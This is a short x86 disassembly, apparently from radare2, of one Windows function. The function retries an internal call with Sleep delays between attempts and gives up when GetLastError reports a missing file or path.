push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x411992
inc esi
xor edi, edi
cmp edi, 1
jne 0x41195e
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep_1
jmp 0x41196c
cmp edi, 1
jle 0x41196c
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep_1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004114c4
test eax, eax
jne 0x411992
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x411992
call sub.kernel32.dll_GetLastError
cmp eax, 3
je 0x411992
inc edi
dec esi
jne 0x41194e
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8